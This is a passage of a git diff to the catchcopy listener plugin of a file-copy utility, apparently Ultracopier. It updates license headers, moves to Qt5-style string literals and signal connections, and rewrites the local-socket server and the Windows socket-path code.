+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Listener/catchcopy-v0002/DebugEngineMacro.h b/plugins/Listener/catchcopy-v0002/DebugEngineMacro.h
index a3dd648..4582010 100644
--- a/plugins/Listener/catchcopy-v0002/DebugEngineMacro.h
+++ b/plugins/Listener/catchcopy-v0002/DebugEngineMacro.h
@@ -1,12 +1,15 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_PLUGIN_DEBUG
#if defined (__FILE__) && defined (__LINE__)
diff --git a/plugins/Listener/catchcopy-v0002/Environment.h b/plugins/Listener/catchcopy-v0002/Environment.h
index 94fd104..265a5a6 100644
--- a/plugins/Listener/catchcopy-v0002/Environment.h
+++ b/plugins/Listener/catchcopy-v0002/Environment.h
@@ -1,8 +1,7 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#include "Variable.h"
/// \brief The global include
diff --git a/plugins/Listener/catchcopy-v0002/Variable.h b/plugins/Listener/catchcopy-v0002/Variable.h
index 8179c93..963d0c8 100644
--- a/plugins/Listener/catchcopy-v0002/Variable.h
+++ b/plugins/Listener/catchcopy-v0002/Variable.h
@@ -1,8 +1,7 @@
/** \file Variable.h
\brief Define the environment variable
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef VARIABLE_H
#define VARIABLE_H
diff --git a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.cpp b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.cpp
index 214caca..d7492d0 100755..100644
--- a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.cpp
+++ b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.cpp
@@ -1,13 +1,13 @@
/** \file ClientCatchcopy.cpp
\brief Define the catchcopy client
-\author alpha_one_x86
-\version 0002
-\date 2010 */
+\author alpha_one_x86 */
#include "ClientCatchcopy.h"
#include "VariablesCatchcopy.h"
#include "ExtraSocketCatchcopy.h"
+#include <QDataStream>
+
ClientCatchcopy::ClientCatchcopy()
{
disconnectedFromSocket();
@@ -207,7 +207,7 @@ void ClientCatchcopy::readyRead()
}
else
{
- error_string=QString("First send protocol send with the query id %1 have been already previously replied").arg(orderIdFirstSendProtocol);
+ error_string=QStringLiteral("First send protocol send with the query id %1 have been already previously replied").arg(orderIdFirstSendProtocol);
emit error(error_string);
disconnectFromServer();
return;
@@ -250,8 +250,8 @@ bool ClientCatchcopy::checkDataIntegrity(QByteArray data)
}
if(stringSize>(in.device()->size()-in.device()->pos()))
{
- emit error(QString("String size is greater than the data: %1>(%2-%3)").arg(stringSize).arg(in.device()->size()).arg(in.device()->pos()));
- qWarning() << QString("String size is greater than the data: %1>(%2-%3)").arg(stringSize).arg(in.device()->size()).arg(in.device()->pos());
+ emit error(QStringLiteral("String size is greater than the data: %1>(%2-%3)").arg(stringSize).arg(in.device()->size()).arg(in.device()->pos()));
+ qWarning() << QStringLiteral("String size is greater than the data: %1>(%2-%3)").arg(stringSize).arg(in.device()->size()).arg(in.device()->pos());
return false;
}
in.device()->seek(in.device()->pos()+stringSize);
diff --git a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.h b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.h
index 278b0cd..4c15890 100755..100644
--- a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.h
+++ b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.h
@@ -1,8 +1,7 @@
/** \file ClientCatchcopy.h
\brief Define the catchcopy client
\author alpha_one_x86
-\version 0002
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef CLIENTCATCHCOPY_H
#define CLIENTCATCHCOPY_H
diff --git a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.cpp b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.cpp
index 7ee05ed..5330492 100755..100644
--- a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.cpp
+++ b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.cpp
@@ -1,31 +1,38 @@
/** \file ExtraSocketCatchcopy.cpp
\brief Define the socket of catchcopy
-\author alpha_one_x86
-\version 0002
-\date 2010 */
+\author alpha_one_x86 */
#include "ExtraSocketCatchcopy.h"
+#include <stdio.h>
+
const QString ExtraSocketCatchcopy::pathSocket()
{
#ifdef Q_OS_UNIX
- return "advanced-copier-"+QString::number(getuid());
+ return "advanced-copier-"+QString::number(getuid());
#else
- QString userName;
- DWORD size=0;
- if(GetUserNameW(NULL,&size) || (GetLastError()!=ERROR_INSUFFICIENT_BUFFER))
- {
- }
- else
- {
- WCHAR * userNameW=new WCHAR[size];
- if(GetUserNameW(userNameW,&size))
- {
- userName.fromWCharArray(userNameW,size*2);
- userName=QString(QByteArray((char*)userNameW,size*2-2).toHex());
- }
- delete userNameW;
- }
- return "advanced-copier-"+userName;
+ QString userName;
+ char uname[1024];
+ DWORD len=1023;
+ if(GetUserNameA(uname, &len)!=FALSE)
+ userName=QString::fromLatin1(toHex(uname));
+ return "advanced-copier-"+userName;
#endif
}
+
+char * ExtraSocketCatchcopy::toHex(const char *str)
+{
+ char *p, *sz;
+ size_t len;
+ if (str==NULL)
+ return NULL;
+ len= strlen(str);
+ p = sz = (char *) malloc((len+1)*4);
+ for (size_t i=0; i<len; i++)
+ {
+ sprintf(p, "%.2x00", str[i]);
+ p+=4;
+ }
+ *p=0;
+ return sz;
+}
diff --git a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.h b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.h
index 623c668..59c8f93 100755..100644
--- a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.h
+++ b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.h
@@ -1,8 +1,7 @@
/** \file ExtraSocketCatchcopy.h
\brief Define the socket of catchcopy
\author alpha_one_x86
-\version 0002
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef EXTRASOCKETCATCHCOPY_H
#define EXTRASOCKETCATCHCOPY_H
@@ -10,18 +9,22 @@
#include <QString>
#ifdef Q_OS_UNIX
- #include <unistd.h>
- #include <sys/types.h>
+ #include <unistd.h>
+ #include <sys/types.h>
#else
- #include <windows.h>
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
#endif
/// \brief to have extra socket function
class ExtraSocketCatchcopy
{
public:
- /// \brief to get the socket path
- static const QString pathSocket();
+ /// \brief to get the socket path
+ static const QString pathSocket();
+ static char * toHex(const char *str);
};
#endif // EXTRASOCKETCATCHCOPY_H
diff --git a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.cpp b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.cpp
index 7120fa1..83c8790 100755..100644
--- a/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.cpp
+++ b/plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.cpp
@@ -1,735 +1,704 @@
/** \file ServerCatchcopy.cpp
\brief Define the server of catchcopy
-\author alpha_one_x86
-\version 0002
-\date 2010 */
+\author alpha_one_x86*/
#include "ServerCatchcopy.h"
#include "VariablesCatchcopy.h"
#include "ExtraSocketCatchcopy.h"
#include <QFile>
+#include <QDataStream>
ServerCatchcopy::ServerCatchcopy()
{
- name="Default avanced copier";
- autoReply=true;
- idNextClient=0;
- error_string="Unknown error";
- connect(&server, SIGNAL(newConnection()), this, SLOT(newConnection()));
+ name="Default avanced copier";
+ idNextClient=0;
+ error_string="Unknown error";
+ connect(&server, &QLocalServer::newConnection, this, &ServerCatchcopy::newConnection);
}
ServerCatchcopy::~ServerCatchcopy()
{
- close();
+ close();
}
-bool ServerCatchcopy::isListening()
+bool ServerCatchcopy::isListening() const
{
- return server.isListening();
+ return server.isListening();
}
void ServerCatchcopy::setName(const QString & name)
{
- this->name=name;
+ this->name=name;
}
-QString ServerCatchcopy::getName()
+QString ServerCatchcopy::getName() const
{
- return name;
+ return name;
+}
+
+/// \brief to get a client list
+QStringList ServerCatchcopy::clientsList() const
+{
+ QStringList clients;
+ int index=0;
+ int size=clientList.size();
+ while(index<size)
+ {
+ clients << clientList[index].name;
+ index++;
+ }
+ return clients;
}
bool ServerCatchcopy::listen()
{
- QLocalSocket socketTestConnection;
- pathSocket=ExtraSocketCatchcopy::pathSocket();
- socketTestConnection.connectToServer(pathSocket);
- if(socketTestConnection.waitForConnected(CATCHCOPY_COMMUNICATION_TIMEOUT))
- {
- error_string="Other server is listening";
- emit error(error_string);
- return false;
- }
- else
- {
- if(!server.removeServer(pathSocket))
- {
- error_string="Unable to remove the old server";
- emit error(error_string);
- }
- if(server.listen(pathSocket))
- return true;
- else
- {
- error_string=QString("Unable to listen %1: %2").arg(pathSocket).arg(server.errorString());
- emit error(error_string);
- return false;
- }
- }
+ QLocalSocket socketTestConnection;
+ pathSocket=ExtraSocketCatchcopy::pathSocket();
+ socketTestConnection.connectToServer(pathSocket);
+ if(socketTestConnection.waitForConnected(CATCHCOPY_COMMUNICATION_TIMEOUT))
+ {
+ error_string="Other server is listening";
+ emit error(error_string);
+ return false;
+ }
+ else
+ {
+ if(!server.removeServer(pathSocket))
+ {
+ error_string="Unable to remove the old server";
+ emit error(error_string);
+ }
+ #ifndef Q_OS_MAC
+ server.setSocketOptions(QLocalServer::UserAccessOption);
+ #endif
+ if(server.listen(pathSocket))
+ return true;
+ else
+ {
+ error_string=QStringLiteral("Unable to listen %1: %2").arg(pathSocket).arg(server.errorString());
+ emit error(error_string);
+ return false;
+ }
+ }
}
void ServerCatchcopy::close()
{
- if(server.isListening())
- {
- int index=0;
- while(index<ClientList.size())
- {
- ClientList.at(index).socket->disconnectFromServer();
- index++;
- }
- server.close();
- if(!server.removeServer(pathSocket))
- {
- error_string="Unable to remove the old server";
- emit error(error_string);
- }
- }
+ if(server.isListening())
+ {
+ int index=0;
+ while(index<clientList.size())
+ {
+ clientList.at(index).socket->disconnectFromServer();
+ index++;
+ }
+ server.close();
+ if(!server.removeServer(pathSocket))
+ {
+ error_string="Unable to remove the old server";
+ emit error(error_string);
+ }
+ }
}
-const QString ServerCatchcopy::errorStringServer()
+const QString ServerCatchcopy::errorStringServer() const
{
- return server.errorString();
+ return server.errorString();
}
-const QString ServerCatchcopy::errorString()
+const QString ServerCatchcopy::errorString() const
{
- return error_string;
+ return error_string;
}
/// \brief New connexion
void ServerCatchcopy::newConnection()
{
- while(server.hasPendingConnections())
- {
- QLocalSocket *clientSocket = server.nextPendingConnection();
- if(clientSocket!=NULL)
- {
- do
- {
- idNextClient++;
- if(idNextClient>2000000000)
- idNextClient=0;
- } while(clientIdFound(idNextClient));
- Client newClient;
- newClient.id = idNextClient;
- newClient.socket = clientSocket;
- newClient.haveData = false;
- newClient.firstProtocolReplied = false;
- newClient.detectTimeOut = new QTimer(this);
- newClient.detectTimeOut->setSingleShot(true);
- newClient.detectTimeOut->setInterval(CATCHCOPY_COMMUNICATION_TIMEOUT);
- connect(newClient.socket, SIGNAL(error(QLocalSocket::LocalSocketError)), this, SLOT(connectionError(QLocalSocket::LocalSocketError)));
- connect(newClient.socket, SIGNAL(readyRead()), this, SLOT(readyRead()));
- connect(newClient.socket, SIGNAL(disconnected()), this, SLOT(disconnected()));
- connect(newClient.detectTimeOut,SIGNAL(timeout()), this, SLOT(checkTimeOut()));
- ClientList << newClient;
- emit connectedClient(newClient.id);
- }
- }
-}
-
-bool ServerCatchcopy::clientIdFound(quint32 id)
-{
- int index=0;
- while(index<ClientList.size())
- {
- if(ClientList.at(index).id==id)
- return true;
- index++;
- }
- return false;
+ while(server.hasPendingConnections())
+ {
+ QLocalSocket *clientSocket = server.nextPendingConnection();
+ if(clientSocket!=NULL)
+ {
+ do
+ {
+ idNextClient++;
+ if(idNextClient>2000000000)
+ idNextClient=0;
+ } while(clientIdFound(idNextClient));
+ Client newClient;
+ newClient.id = idNextClient;
+ newClient.socket = clientSocket;
+ newClient.haveData = false;
+ newClient.firstProtocolReplied = false;
+ newClient.detectTimeOut = new QTimer(this);
+ newClient.detectTimeOut->setSingleShot(true);
+ newClient.detectTimeOut->setInterval(CATCHCOPY_COMMUNICATION_TIMEOUT);
+ newClient.name="Unknown";
+ connect(newClient.socket, static_cast<void(QLocalSocket::*)(QLocalSocket::LocalSocketError)>(&QLocalSocket::error), this, &ServerCatchcopy::connectionError,Qt::QueuedConnection);
+ connect(newClient.socket, &QIODevice::readyRead, this, &ServerCatchcopy::readyRead,Qt::QueuedConnection);
+ connect(newClient.socket, &QLocalSocket::disconnected, this, &ServerCatchcopy::disconnected,Qt::QueuedConnection);
+ connect(newClient.detectTimeOut,&QTimer::timeout, this, &ServerCatchcopy::checkTimeOut,Qt::QueuedConnection);
+ clientList << newClient;
+ emit connectedClient(newClient.id);
+ }
+ }
+}
+
+bool ServerCatchcopy::clientIdFound(const quint32 &id) const
+{
+ int index=0;
+ while(index<clientList.size())
+ {
+ if(clientList.at(index).id==id)
+ return true;
+ index++;
+ }
+ return false;
}
/// \brief new error at connexion
-void ServerCatchcopy::connectionError(QLocalSocket::LocalSocketError error)
-{
- QLocalSocket *socket=qobject_cast<QLocalSocket *>(QObject::sender());
- if(socket==NULL)
- {
- qWarning() << "Unlocated client socket!";
- return;
- }
- int index=0;
- while(index<ClientList.size())
- {
- if(ClientList.at(index).socket==socket)
- {
- if(error!=QLocalSocket::PeerClosedError)
- qWarning() << "error detected for the client: " << index << ", type: " << error;
- ClientList.at(index).socket->disconnectFromServer();
- return;
- }
- index++;
- }
+void ServerCatchcopy::connectionError(const QLocalSocket::LocalSocketError &error)
+{
+ QLocalSocket *socket=qobject_cast<QLocalSocket *>(QObject::sender());
+ if(socket==NULL)
+ {
+ qWarning() << "Unlocated client socket!";
+ return;
+ }
+ int index=0;
+ while(index<clientList.size())
+ {
+ if(clientList.at(index).socket==socket)
+ {
+ if(error!=QLocalSocket::PeerClosedError)
+ {
+ qWarning() << "error detected for the client: " << index << ", type: " << error;
+ clientList.at(index).socket->disconnectFromServer();
+ }
+ return;
+ }
+ index++;
+ }
}
void ServerCatchcopy::disconnected()
{
- QLocalSocket *socket=qobject_cast<QLocalSocket *>(QObject::sender());
- if(socket==NULL)
- {
- qWarning() << "Unlocated client socket!";
- return;
- }
- int index=0;
- while(index<ClientList.size())
- {
- if(ClientList.at(index).socket==socket)
- {
- emit disconnectedClient(ClientList.at(index).id);
- disconnect(ClientList.at(index).socket);
- disconnect(ClientList.at(index).detectTimeOut);
- delete ClientList.at(index).detectTimeOut;
- ClientList.at(index).socket->abort();
- ClientList.at(index).socket->disconnectFromServer();
- ClientList.at(index).socket->deleteLater();
- ClientList.removeAt(index);
- return;
- }
- index++;
- }
- qWarning() << "Unlocated client!";
-}
-
-void ServerCatchcopy::disconnectClient(quint32 id)
-{
- int index=0;
- while(index<ClientList.size())
- {
- if(ClientList.at(index).id==id)
- {
- ClientList.at(index).socket->disconnectFromServer();
- return;
- }
- index++;
- }
- qWarning() << "Unlocated client!";
+ QLocalSocket *socket=qobject_cast<QLocalSocket *>(QObject::sender());
+ if(socket==NULL)
+ {
+ qWarning() << "Unlocated client socket!";
+ return;
+ }
+ int index=0;
+ while(index<clientList.size())
+ {
+ if(clientList.at(index).socket==socket)
+ {
+ const quint32 &id=clientList.at(index).id;
+ //ClientList.at(index).socket->disconnectFromServer();//already disconnected
+ delete clientList.at(index).detectTimeOut;
+ clientList.at(index).socket->deleteLater();
+ clientList.removeAt(index);
+ emit disconnectedClient(id);
+ return;
+ }
+ index++;
+ }
+ qWarning() << "Unlocated client!";
+}
+
+void ServerCatchcopy::disconnectClient(const quint32 &id)
+{
+ int index=0;
+ while(index<clientList.size())
+ {
+ if(clientList.at(index).id==id)
+ {
+ clientList.at(index).socket->disconnectFromServer();
+ return;
+ }
+ index++;
+ }
+ qWarning() << "Unlocated client!";
}
void ServerCatchcopy::readyRead()
{
- QLocalSocket *socket=qobject_cast<QLocalSocket *>(QObject::sender());
- if(socket==NULL)
- {
- qWarning() << "Unlocated client socket!";
- return;
- }
- int index=0;
- while(index<ClientList.size())
- {
- if(ClientList.at(index).socket==socket)
- {
- while(socket->bytesAvailable()>0)
- {
- if(!ClientList.at(index).haveData)
- {
- if(socket->bytesAvailable()<(int)sizeof(int))//ignore because first int is cuted!
- {
- /*error_string="Bytes available is not sufficient to do a int";
- emit error(error_string);
- disconnectClient(ClientList.at(index).id);*/
- return;
- }
- QDataStream in(socket);
- in.setVersion(QDataStream::Qt_4_4);
- in >> ClientList[index].dataSize;
- ClientList[index].dataSize-=sizeof(int);
- if(ClientList.at(index).dataSize>64*1024*1024) // 64MB
- {
- error_string="Reply size is >64MB, seam corrupted";
- emit error(error_string);
- disconnectClient(ClientList.at(index).id);
- return;
- }
- if(ClientList.at(index).dataSize<(int)(sizeof(int) //orderId
- + sizeof(quint32) //returnCode
- + sizeof(quint32) //string list size
- ))
- {
- error_string="Reply size is too small to have correct code";
- emit error(error_string);
- disconnectClient(ClientList.at(index).id);
- return;
- }
- ClientList[index].haveData=true;
- }
- if(ClientList.at(index).dataSize<(ClientList.at(index).data.size()+socket->bytesAvailable()))
- ClientList[index].data.append(socket->read(ClientList.at(index).dataSize-ClientList.at(index).data.size()));
- else
- ClientList[index].data.append(socket->readAll());
- if(ClientList.at(index).dataSize==(quint32)ClientList.at(index).data.size())
- {
- if(!checkDataIntegrity(ClientList.at(index).data))
- {
- emit error("Data integrity wrong: "+QString(ClientList.at(index).data.toHex()));
- ClientList[index].data.clear();
- ClientList[index].haveData=false;
- qWarning() << "Data integrity wrong";
- return;
- }
- QStringList returnList;
- quint32 orderId;
- QDataStream in(ClientList.at(index).data);
- in.setVersion(QDataStream::Qt_4_4);
- in >> orderId;
- in >> returnList;
- ClientList[index].data.clear();
- ClientList[index].haveData=false;
- if(ClientList.at(index).queryNoReplied.contains(orderId))
- {
- emit error("Duplicate query id");
- qWarning() << "Duplicate query id";
- return;
- }
- ClientList[index].queryNoReplied << orderId;
- if(!ClientList.at(index).firstProtocolReplied && returnList.size()==2 && returnList.first()=="protocol" && autoReply)
- {
- ClientList[index].firstProtocolReplied=true;
- protocolSupported(ClientList.at(index).id,orderId,(returnList.last()==CATCHCOPY_PROTOCOL_VERSION));
- }
- else
- parseInput(ClientList.at(index).id,orderId,returnList);
- }
- }
- if(ClientList.at(index).haveData)
- ClientList.at(index).detectTimeOut->start();
- else
- ClientList.at(index).detectTimeOut->stop();
- return;
- }
- index++;
- }
- emit error("Unallocated client!");
- qWarning() << "Unallocated client!";
-}
-
-bool ServerCatchcopy::checkDataIntegrity(QByteArray data)
-{
- quint32 orderId;
- qint32 listSize;
- QDataStream in(data);
- in.setVersion(QDataStream::Qt_4_4);
- in >> orderId;
- in >> listSize;
- if(listSize>65535)
- {
- emit error("List size is wrong");
- qWarning() << "List size is wrong";
- return false;
- }
- int index=0;
- while(index<listSize)
- {
- qint32 stringSize;
- in >> stringSize;
- if(stringSize>65535)
- {
- emit error("String size is wrong");
- return false;
- }
- if(stringSize>(in.device()->size()-in.device()->pos()))
- {
- emit error(QString("String size is greater than the data: %1>(%2-%3)").arg(stringSize).arg(in.device()->size()).arg(in.device()->pos()));
- return false;
- }
- in.device()->seek(in.device()->pos()+stringSize);
- index++;
- }
- if(in.device()->size()!=in.device()->pos())
- {
- emit error("Remaining data after string list parsing");
- return false;
- }
- return true;
-}
-
-void ServerCatchcopy::parseInput(quint32 client,quint32 orderId,QStringList returnList)
-{
- switch(parseInputCurrentProtocol(client,orderId,returnList))
- {
- case Ok:
- emit newQuery(client,orderId,returnList);
- break;
- case Replied:
- break;
- case ExtensionWrong:
- if(autoReply)
- protocolExtensionSupported(client,orderId,false);
- else
- emit newQuery(client,orderId,returnList);
- break;
- case WrongArgument:
- if(autoReply)
- incorrectArgument(client,orderId);
- else
- emit newQuery(client,orderId,returnList);
- break;
- case WrongArgumentListSize:
- if(autoReply)
- incorrectArgumentListSize(client,orderId);
- else
- emit newQuery(client,orderId,returnList);
- break;
- case UnknowOrder:
- emit error("Unknown query");
- qWarning() << "Unknown query";
- if(autoReply)
- unknowOrder(client,orderId);
- else
- emit newQuery(client,orderId,returnList);
- break;
- }
-}
-
-ServerCatchcopy::inputReturnType ServerCatchcopy::parseInputCurrentProtocol(quint32 client,quint32 orderId,QStringList returnList)
-{
- if(returnList.size()==0)
- return WrongArgumentListSize;
- //if is supported
- QString firstArgument=returnList.first();
- if(firstArgument=="protocol")
- {
- if(returnList.size()!=2)
- return WrongArgumentListSize;
- emit askProtocolCompatibility(client,orderId,returnList.last());
- return Ok;
- }
- else if(firstArgument=="protocol extension")
- {
- if(returnList.size()>3 || returnList.size()<2)
- return WrongArgumentListSize;
- if(!autoReply)
- {
- if(returnList.size()==2)
- emit askProtocolExtension(client,orderId,returnList.last());
- else
- emit askProtocolExtension(client,orderId,returnList.at(1),returnList.last());
- }
- return ExtensionWrong;
- }
- else if(firstArgument=="client")
- {
- if(returnList.size()!=2)
- return WrongArgumentListSize;
- emit clientName(client,returnList.last());
- if(autoReply)
- {
- clientRegistered(client,orderId);
- return Replied;
- }
- else
- {
- emit clientName(client,orderId,returnList.last());
- return Ok;
- }
- }
- else if(firstArgument=="server")
- {
- if(returnList.size()!=2)
- return WrongArgumentListSize;
- if(returnList.last()!="name?")
- return WrongArgument;
- if(autoReply)
- {
- serverName(client,orderId,name);
- return Replied;
- }
- else
- {
- askServerName(client,orderId);
- return Ok;
- }
- }
- else if(firstArgument=="cp")
- {
- if(returnList.size()<3)
- return WrongArgumentListSize;
- QStringList sourceList=returnList;
- sourceList.removeFirst();
- sourceList.removeLast();
- emitNewCopy(client,orderId,sourceList,returnList.last());
- return Ok;
- }
- else if(firstArgument=="cp-?")
- {
- if(returnList.size()<2)
- return WrongArgumentListSize;
- QStringList sourceList=returnList;
- sourceList.removeFirst();
- emitNewCopy(client,orderId,sourceList);
- return Ok;
- }
- else if(firstArgument=="mv")
- {
- if(returnList.size()<3)
- return WrongArgumentListSize;
- QStringList sourceList=returnList;
- sourceList.removeFirst();
- sourceList.removeLast();
- emitNewMove(client,orderId,sourceList,returnList.last());
- return Ok;
- }
- else if(firstArgument=="mv-?")
- {
- if(returnList.size()<2)
- return WrongArgumentListSize;
- QStringList sourceList=returnList;
- sourceList.removeFirst();
- emitNewMove(client,orderId,sourceList);
- return Ok;
- }
- else //if is not supported
- return UnknowOrder;
-}
-
-void ServerCatchcopy::emitNewCopy(quint32 client,quint32 orderId,QStringList sources)
-{
- emit newCopy(client,orderId,sources);
- LinkGlobalToLocalClient newAssociation;
- newAssociation.idClient=client;
- newAssociation.orderId=orderId;
- newAssociation.globalOrderId=incrementOrderId();
- LinkGlobalToLocalClientList << newAssociation;
- emit newCopy(newAssociation.globalOrderId,sources);
-}
-
-void ServerCatchcopy::emitNewCopy(quint32 client,quint32 orderId,QStringList sources,QString destination)
-{
- emit newCopy(client,orderId,sources,destination);
- LinkGlobalToLocalClient newAssociation;
- newAssociation.idClient=client;
- newAssociation.orderId=orderId;
- newAssociation.globalOrderId=incrementOrderId();
- LinkGlobalToLocalClientList << newAssociation;
- emit newCopy(newAssociation.globalOrderId,sources,destination);
-}
-
-void ServerCatchcopy::emitNewMove(quint32 client,quint32 orderId,QStringList sources)
-{
- emit newMove(client,orderId,sources);
- LinkGlobalToLocalClient newAssociation;
- newAssociation.idClient=client;
- newAssociation.orderId=orderId;
- newAssociation.globalOrderId=incrementOrderId();
- LinkGlobalToLocalClientList << newAssociation;
- emit newMove(newAssociation.globalOrderId,sources);
-}
-
-void ServerCatchcopy::emitNewMove(quint32 client,quint32 orderId,QStringList sources,QString destination)
-{
- emit newMove(client,orderId,sources,destination);
- LinkGlobalToLocalClient newAssociation;
- newAssociation.idClient=client;
- newAssociation.orderId=orderId;
- newAssociation.globalOrderId=incrementOrderId();
- LinkGlobalToLocalClientList << newAssociation;
- emit newMove(newAssociation.globalOrderId,sources,destination);
-}
-
-void ServerCatchcopy::copyFinished(quint32 globalOrderId,bool withError)
-{
- int index=0;
- while(index<LinkGlobalToLocalClientList.size())
- {
- if(LinkGlobalToLocalClientList.at(index).globalOrderId==globalOrderId)
- {
- copyFinished(LinkGlobalToLocalClientList.at(index).idClient,LinkGlobalToLocalClientList.at(index).orderId,withError);
- LinkGlobalToLocalClientList.removeAt(index);
- orderList.removeOne(globalOrderId);
- return;
- }
- index++;
- }
-}
-
-void ServerCatchcopy::copyCanceled(quint32 globalOrderId)
-{
- int index=0;
- while(index<LinkGlobalToLocalClientList.size())
- {
- if(LinkGlobalToLocalClientList.at(index).globalOrderId==globalOrderId)
- {
- copyCanceled(LinkGlobalToLocalClientList.at(index).idClient,LinkGlobalToLocalClientList.at(index).orderId);
- LinkGlobalToLocalClientList.removeAt(index);
- orderList.removeOne(globalOrderId);
- return;
- }
- index++;
- }
-}
-
-void ServerCatchcopy::setAutoReply(bool value)
-{
- autoReply=value;
-}
-
-bool ServerCatchcopy::getAutoReply()
-{
- return autoReply;
-}
-
-void ServerCatchcopy::reply(quint32 client,quint32 orderId,quint32 returnCode,QString returnString)
-{
- reply(client,orderId,returnCode,QStringList() << returnString);
-}
-
-void ServerCatchcopy::reply(quint32 client,quint32 orderId,quint32 returnCode,QStringList returnList)
-{
- int index=0;
- while(index<ClientList.size())
- {
- if(ClientList.at(index).id==client)
- {
- if(ClientList.at(index).socket->isValid() && ClientList.at(index).socket->state()==QLocalSocket::ConnectedState)
- {
- if(!ClientList.at(index).queryNoReplied.contains(orderId))
- {
- qWarning() << "Reply to missing query or previously replied";
- return;
- }
- ClientList[index].queryNoReplied.removeOne(orderId);
- //cut string list and send it as block of 32KB
- QByteArray block;
- QDataStream out(&block, QIODevice::WriteOnly);
- out.setVersion(QDataStream::Qt_4_4);
- out << int(0);
- out << orderId;
- out << returnCode;
- out << returnList;
- out.device()->seek(0);
- out << block.size();
- emit dataSend(client,orderId,returnCode,block);
- emit dataSend(client,orderId,returnCode,returnList);
- do
- {
- QByteArray blockToSend;
- int byteWriten;
- blockToSend=block.left(32*1024);//32KB
- block.remove(0,blockToSend.size());
- byteWriten = ClientList[index].socket->write(blockToSend);
- if(!ClientList[index].socket->isValid())
- {
- error_string="Socket is not valid";
- emit error(error_string);
- return;
- }
- if(ClientList[index].socket->errorString()!="Unknown error" && ClientList[index].socket->errorString()!="")
- {
- error_string="Error with socket: "+ClientList[index].socket->errorString();
- emit error(error_string);
- return;
- }
- if(blockToSend.size()!=byteWriten)
- {
- error_string="All the bytes have not be written";
- emit error(error_string);
- return;
- }
- }
- while(block.size());
- }
- else
- {
- error_string="Socket is not valid or not connected";
- emit error(error_string);
- }
- return;
- }
- index++;
- }
- qWarning() << "Client id not found:" << client;
-}
+ QLocalSocket *socket=qobject_cast<QLocalSocket *>(QObject::sender());
+ if(socket==NULL)
+ {
+ qWarning() << "Unlocated client socket!";
+ return;
+ }
+ int index=0;
+ while(index<clientList.size())
+ {
+ if(clientList.at(index).socket==socket)
+ {
+ while(socket->bytesAvailable()>0)
+ {
+ if(!clientList.at(index).haveData)
+ {
+ if(socket->bytesAvailable()<(int)sizeof(int))//ignore because first int is cuted!
+ {
+ /*error_string="Bytes available is not sufficient to do a int";
+ emit error(error_string);
+ disconnectClient(ClientList.at(index).id);*/
+ return;
+ }
+ QDataStream in(socket);
+ in.setVersion(QDataStream::Qt_4_4);
+ in >> clientList[index].dataSize;
+ clientList[index].dataSize-=sizeof(int);
+ if(clientList.at(index).dataSize>64*1024*1024) // 64MB
+ {
+ error_string="Reply size is >64MB, seam corrupted";
+ emit communicationError(error_string);
+ disconnectClient(clientList.at(index).id);
+ return;
+ }
+ if(clientList.at(index).dataSize<(int)(sizeof(int) //orderId
+ + sizeof(quint32) //returnCode
+ + sizeof(quint32) //string list size
+ ))
+ {
+ error_string="Reply size is too small to have correct code";
+ emit communicationError(error_string);
+ disconnectClient(clientList.at(index).id);
+ return;
+ }
+ clientList[index].haveData=true;
+ }
+ if(clientList.at(index).dataSize<(clientList.at(index).data.size()+socket->bytesAvailable()))
+ clientList[index].data.append(socket->read(clientList.at(index).dataSize-clientList.at(index).data.size()));
+ else
+ clientList[index].data.append(socket->readAll());
+ if(clientList.at(index).dataSize==(quint32)clientList.at(index).data.size())
+ {
+ if(!checkDataIntegrity(clientList.at(index).data))
+ {
+ emit communicationError("Data integrity wrong: "+QString(clientList.at(index).data.toHex()));
+ clientList[index].data.clear();
+ clientList[index].haveData=false;
+ qWarning() << "Data integrity wrong";
+ return;
+ }
+ QStringList returnList;
+ quint32 orderId;
+ QDataStream in(clientList.at(index).data);
